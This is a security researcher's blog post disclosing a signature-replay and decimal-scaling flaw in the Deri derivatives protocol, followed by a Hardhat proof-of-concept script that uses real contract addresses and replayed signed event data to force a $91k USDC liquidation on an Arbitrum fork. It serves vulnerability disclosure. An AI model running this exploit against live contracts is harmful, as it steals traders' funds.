Ahhhh i'm liquidating!

I recently discovered a critical vulnerability in **Deri **which allows an attacker to forcefully liquidate a trader’s position and steal his precious computer coins from his margin vault.

Weaknesses: 1) signature replay 2) incorrect decimals

Tell us more …

Deri is a derivatives protocol deployed across zksync Era, Linea, Arbitrum, Polygon ZkEVM, and Scroll with a TVL of ~$3mm.

Users interact with the protocol by making a request to add/remove margin, trade, remove liquidity, etc. through the Gateway contract.

Our example focuses on when a user intends to remove some, or all, of his margin and calls GatewayImplementation::requestRemoveMargin which emits an event that is picked up by an agent, which validates and signs the request, then calls GatewayImplementation::finishRemoveMargin with the signed event data and accompanying signature to finalize the request and alter the user's position.

There are three "finishing" calls that are used to adjust the user's position: finishRemoveMargin, finishUpdateLiquidity, and finishLiquidate. Both finishRemoveMargin and finishUpdateLiquidity call an internal function _checkRequestId that checks and increments a nonce to prevent a replay attack utilizing the same signature and event data, but ...

The Bug …

... this check is missing from finishLiquidate since at the end of the execution flow it will revert if this position NFT had already been burned (which would happen on a successful liquidation).

What if a user called requestRemoveMargin and we used that same eventData and signature provided by the agent to call finishLiquidate to force liquidate the user with a previously signed request?

Important to note that the initial requestLiquidate function is protected and requires a whitelisted liquidator as the caller (which we are not, but we bypass this anyway by calling the finishLiquidate function directly).

The finishLiquidate function decodes the event data with the following struct:

IGateway.VarOnExecuteLiquidate memory v = abi.decode(eventData, (IGateway.VarOnExecuteLiquidate));

struct VarOnExecuteLiquidate {

uint256 requestId;
uint256 pTokenId;
int256 cumulativePnlOnEngine;

}

… whereas finishRemoveMargin decodes the event data as follows:

IGateway.VarOnExecuteRemoveMargin memory v = abi.decode(eventData, (IGateway.VarOnExecuteRemoveMargin));

struct VarOnExecuteRemoveMargin {

uint256 requestId;
uint256 pTokenId;
uint256 requiredMargin;
int256 cumulativePnlOnEngine;
uint256 bAmountToRemove;

}

Notice the mismatch?

The decoding process to the VarOnExecuteLiquidate struct will erroneously return the uint256 requiredMargin value as the int256 cumulativePnlOnEngine value which was supplied within eventData that was used by the initial finishRemoveMargin call made by the agent. Since this function already verified that the liquidation has been signed off on (since we provided valid signed event data and a signature), there are no checks and balances going forward other than ensuring that a liquidator only receives a maxLiquidation reward of 500 ETH instead of 500 USDC. Seems a bit large don’t you think? Always check your decimals anon …

Also note that now we have successfully modified the critical state variable of data.lastCumulativePnlOnEngine to be grossly inaccurate which immediately compromises the integrity of the protocol for all users. As an example, in the exploit simulation the variable changes from -35169462977677968445139 to 15206304214539988627172!

Bypassing the maxLiquidationReward ... on L667 in GatewayImplementation::finishLiquidate the diff is calculated as int256 diff = v.cumulativePnlOnEngine.minusUnchecked(data.lastCumulativePnlOnEngine) which equals 15206304214539988627172 - (-35169462977677968445139) = 50375767192217957072311 and then scales down to match the USDC collateral bToken of six decimals giving us 50375767192 or 50,375 USDC.

Note: The correct calculation should actually be -35169462977677968445139 - (-35169462977677968445139) = 0 USDC.

The function then transfers all bTokens from an Aave vault into the Gateway contract and then calculates the (incorrect) total LP's PnL by liquidating this account int256 lpPnl = b0AmountIn.utoi() + data.b0Amount which gives us 133567538050 + 50375767192 = 183943305242 or 183,943 USDC as lpPnL.

If/else at L692 calculates the minimum of ((lpPnL - minLiquidationReward( * liquidationRewardCutRatio / 1e18 + minLiquidationReward), maxLiquidationReward) which reduces and rescales our reward to 1e6 giving us 91083767663 or $91k USDC and promptly transfers this to msg.sender.

Additionally, on L723 the function rescales the fake lpPnL to e18 and adds it to the state variable data.cumulativePnLOnGateway with a value of 58577e18 to a new value of 242520e18 ... a 314% increase in PnL that doesn't exist! Not good.

Damage

Total user funds at risk across all chains I estimate at $500k to $1.5mm - not to mention collateral damage from the inconsistent state with the now incorrect cumulativePnlOnEngine. The max bounty for this project was low at $10k (which they later bumped to $20k) so it did not warrant further time on my end to conduct a full damage assessment.

PoC below demonstrates a forced $91k USDC liquidation on Arbitrum with all profits going to the attacker.

Peckshield takes the L …

Pro tip: Always get more than one audit.

0xriptide

const { ethers } = require("hardhat");

// 0xriptide - forced liquidator
//
// arbitrum forking at 184652290
//
// Severity: Critical
//
// Description:
// Attacker can liquidate certain positions by reusing signatures and events leading to theft of user funds
// also bypasses gated liquidator requirement
//
// Affects all chains where Deri v4 is deployed (zksync Era, linea, arbitrum, polygon ZkEVM, scroll)
//
// Exploit:
// 1) Watch for offchain agent `0x01737317c960Bc5cC67E7D3f802ABF077e65559E` to call `finishRemoveMargin` on `gateway contract`
// 2) Reuse provided `eventData` and `signature` to call `finishLiquidate` on `gateway`
// 3) Profit
//
// Weakness:
// 1) `gateway:L662` lacks the `_checkRequestId` check which allows re-use of signatures and eventData
// 2) maxLiquidationReward scaled at 1e18 for 1e6 token
//

describe("PoC - Unauthorized liquidations", function () {


  it("big usdc liq 91k profit", async function () {
    const gateway = "0x7c4a640461427c310a710d367c2ba8c535a7ef81";
    const DPT = "0x3330664fE007463DDc859830b2D96380440C3a24";
    const aaveVault = "0x724dc807b04555b71ed48a6896b6F41593b8C637";
    const eventData = "0x000000000000000000000000000011960000000000000000000000000000003402000000000000000000a4b1000000000000000000000000000000000000001a00000000000000000000000000000000000000000000033855dcfcabe55feee4fffffffffffffffffffffffffffffffffffffffffffff88d75a7cd9a4cdd712d0000000000000000000000000000000000000000000000000000000005f5e100";
    const signature = "0x08a4d46c4a18a4d8fce7551f19bf1b9bda19a555009039a223bd91003b45d3cd4325f06ce14d57d285a2538a58fa5a96134292a5df3ca1cf5b435cfdbcd4e51e1b";
    const pTokenId = "904625697166532776746709938750905788301606140756549057766654088833765736474";
    const bToken = "0xaf88d065e77c8cC2239327C5EDb3A432268e5831"; //USDC
    const user = "0xcd384a71b666DE23A7A6380eDd8A2e88Bb5a5373";

    const [attacker] = await ethers.getSigners();

    const gatewayContract = await hre.ethers.getContractAt("IGateway", gateway);
    const DPTContract = await hre.ethers.getContractAt("IDToken", DPT);
    const bTokenContract = await hre.ethers.getContractAt("IERC20", bToken);

    console.log("Gateway State: ", await gatewayContract.getGatewayState());

    console.log("Td State: ", await gatewayContract.getTdState(pTokenId));

    var nft0 = await DPTContract.balanceOf(user);
    var user0 = await bTokenContract.balanceOf(user);
    var vault0 = await bTokenContract.balanceOf(aaveVault);
    var attacker0 = await bTokenContract.balanceOf(attacker.address);

    console.log("NFT balance of user: ", nft0);
    console.log("bToken balance of user: ", user0);
    console.log("bToken balance of aaveVault (aArbUSDCn): ", vault0);
    console.log("bToken balance of attacker: ", attacker0);

    console.log("forcing liquidation and burning position NFT...");
    await gatewayContract.finishLiquidate(eventData, signature);

    console.log("Gateway State: ", await gatewayContract.getGatewayState());
    console.log("Gateway Param: ", await gatewayContract.getGatewayParam());

    console.log("Td State: ", await gatewayContract.getTdState(pTokenId));

    var nft1 = await DPTContract.balanceOf(user);
    var user1 = await bTokenContract.balanceOf(user);
    var vault1 = await bTokenContract.balanceOf(aaveVault);
    var attacker1 = await bTokenContract.balanceOf(attacker.address);

    console.log("NFT balance of user: ", nft1);
    console.log("bToken balance of user: ", user1);
    console.log("bToken balance of aaveVault (aArbUSDCn): ", vault1);
    console.log("bToken balance of attacker: ", attacker1);

    console.log("*diffs*");
    console.log("\nNFT decrease by: ", nft0 - nft1);
    console.log("bToken balance of user change: ", user1 - user0);
    console.log("bToken balance of aaveVault (aArbUSDCn) change: ", vault1 - vault0);
    console.log("bToken balance of attacker change: ", attacker1 - attacker0);
    console.log("\nAttacker profit: $", ethers.utils.formatUnits(attacker1 - attacker0,6));

  });
});
Subscribe to riptide
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.